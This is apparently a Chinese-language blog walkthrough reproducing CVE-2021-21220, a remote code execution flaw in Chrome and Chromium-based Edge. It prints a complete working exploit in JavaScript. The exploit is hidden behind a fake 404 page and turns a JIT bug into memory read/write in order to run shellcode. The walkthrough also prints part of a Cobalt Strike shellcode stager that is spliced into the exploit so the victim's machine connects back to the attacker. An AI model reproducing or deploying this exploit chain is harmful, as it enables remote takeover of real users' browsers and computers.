CVE-2021-21220（Chrome）漏洞复现
漏洞介绍
- Google Chrome 是由 Google 开发的免费网页浏览器。
- 经测试，此漏洞影响 Chrome 最新正式版（89.0.4389.128）以及基于 Chromium内核的 Microsoft Edge 正式版（89.0.774.76）。
- 攻击者可通过构造特制 Web 页面并诱导受害者访问来利用此漏洞获得远程代码执行。
- Chrome 一直是很多用户使用的浏览器，最新出来了一个 Chrome 0 Day ，可以执行任意命令，不过前提条件是需要 chrome 开启 –no-sandbox 无沙盒模式。
沙箱介绍
- Chromium 渲染引擎涉及大量 C++ 编写的组件，出现漏洞的概率不小。因此，基于纵深防御理念浏览器引入了涉及三层结构。渲染引擎等组件不直接与系统交互，而是通过一个被称为MOJO的IPC组件与浏览器引擎通讯（也被称为：broker），再与系统交互。进而可以实现：即便沙箱中的进程被攻破，但无法随意调用系统API产生更大的危害。有点类似：即便攻破了一个容器实例，在没有逃逸或提权漏洞的情况下，宿主机安全一定程度上不受影响（实际上，浏览器的Sandbox和容器隔离的部分技术原理是相似的）。
影响范围
- Google Chrome <= 89.0.4389.128
- 基于 Chromium 内核的 Microsoft Edge <= 89.0.774.76
- 经测试：
- 32 位的系统不能复现
- 32 位的 Chrome 不能复现
- 历史 Google Chrome 下载地址：https://downzen.com/en/windows/google-chrome/versions/
主机上线
- 前情提要：
- 靶机环境
- 系统：Windows 7 SP 1
- Chrome：89.0.4389.114 正式版 64 位
- 环境说明：
- 靶机地址：192.168.8.138
- Kali 地址：192.168.8.135
- 靶机环境
- 由于这个漏洞不好使用 POC 验证，都是直接看版本和是否沙箱，就不验证了。
- EXP 地址：https://github.com/AeolusTF/chrome-0day
前期准备
404 页面：
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36<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<title>404</title>
<script src="assert.js"></script>
<style>
body{
font: 16px arial,'Microsoft Yahei','Hiragino Sans GB',sans-serif;
}
h1{
margin: 0;
color:#3a87ad;
font-size: 26px;
text-align: center;
}
.content{
width: 45%;
margin: 0 auto;
}
.content >div{
margin-top: 50px;
padding: 20px;
background: #d9edf7;
border-radius: 12px;
}
</style>
</head>
<body>
<div class="content">
<div>
<h1>404 - Page Not Found 未找到</h1>
</div>
</div>
</body>
</html>assert.js 内容：
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84function gc() {
for (var i = 0; i < 0x80000; ++i) {
var a = new ArrayBuffer();
}
}
let shellcode = [];
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var main = wasmInstance.exports.main;
var bf = new ArrayBuffer(8);
var bfView = new DataView(bf);
function fLow(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(0, true));
}
function fHi(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(4, true))
}
function i2f(low, hi) {
bfView.setUint32(0, low, true);
bfView.setUint32(4, hi, true);
return bfView.getFloat64(0, true);
}
function f2big(f) {
bfView.setFloat64(0, f, true);
return bfView.getBigUint64(0, true);
}
function big2f(b) {
bfView.setBigUint64(0, b, true);
return bfView.getFloat64(0, true);
}
class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
super(size);
this.slot = 0xb33f;
}
}
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
arr.shift();
let local_arr = Array(2);
local_arr[0] = 5.1;//4014666666666666
let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
arr[0] = 0x1122;
return [arr, local_arr, buff];
}
for (var i = 0; i < 0x10000; ++i)
foo(false);
gc(); gc();
[corrput_arr, rwarr, corrupt_buff] = foo(true);
corrput_arr[12] = 0x22444;
delete corrput_arr;
function setbackingStore(hi, low) {
rwarr[4] = i2f(fLow(rwarr[4]), hi);
rwarr[5] = i2f(low, fHi(rwarr[5]));
}
function leakObjLow(o) {
corrupt_buff.slot = o;
return (fLow(rwarr[9]) - 1);
}
let corrupt_view = new DataView(corrupt_buff);
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
let idx0Addr = corrupt_buffer_ptr_low - 0x10;
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
let delta = baseAddr + 0x1c - idx0Addr;
if ((delta % 8) == 0) {
let baseIdx = delta / 8;
this.base = fLow(rwarr[baseIdx]);
} else {
let baseIdx = ((delta - (delta % 8)) / 8);
this.base = fHi(rwarr[baseIdx]);
}
let wasmInsAddr = leakObjLow(wasmInstance);
setbackingStore(wasmInsAddr, this.base);
let code_entry = corrupt_view.getFloat64(13 * 8, true);
setbackingStore(fLow(code_entry), fHi(code_entry));
for (let i = 0; i < shellcode.length; i++) {
corrupt_view.setUint8(i, shellcode[i]);
}
main();
CS 上线
- CS 安装过程略，生成监听器：
- 生成 ShellCode：
- 内容如下：
1 | /* length: 927 bytes */ |
- 通过文本编辑器修改成如下样式：
1 | 0x42,0x76,0x39,0x73,0x71,0x58,0x72,0x59,0x30,0x62,0x5a,0x69,0x6b,0x5a,0x62,0x4b,0x6d,0x37,0x6d,0x66,0x4d,0x43,0x32,0x43,0x6c,0x63,0x4c,0x68,0x68,0x53,0x72,0x31,0x4b,0x39,0x52,0x43,0x72,0x77,0x49,0x5a,0x68,0x69,0x54,0x49,0x72,0x2d,0x75,0x33,0x58,0x64,0x4d,0x6c,0x6f,0x4e,0x30,0x6c,0x39,0x34,0x33,0x7a,0x68,0x66,0x38,0x00,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x00,0x32,0xa8,0x84,0x00,0x00,0x00,0x00,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0x0a,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x00,0x00,0x49,0x89,0xe0,0x6a,0x04,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x00,0x00,0x00,0x00,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x00,0x00,0x49,0xba,0x44,0xf0,0x35,0xe0,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0xff,0xcf,0x74,0x02,0xeb,0xaa,0xe8,0x55,0x00,0x00,0x00,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x00,0x10,0x00,0x00,0x49,0xba,0x58,0xa4,0x53,0xe5,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 |
- 和 MSF 一样，裁剪一下拼接到 assert.js 中：
1 | function gc() { |
- 将利用文件放置 kali 下，开始 HTTP 服务：
- 访问一下 404.html：
- 成功上线：
- 关闭页面，连接即断开。
- 玄学的地方来了，本地网段上弹不回来，用 VPS 就行，淦。
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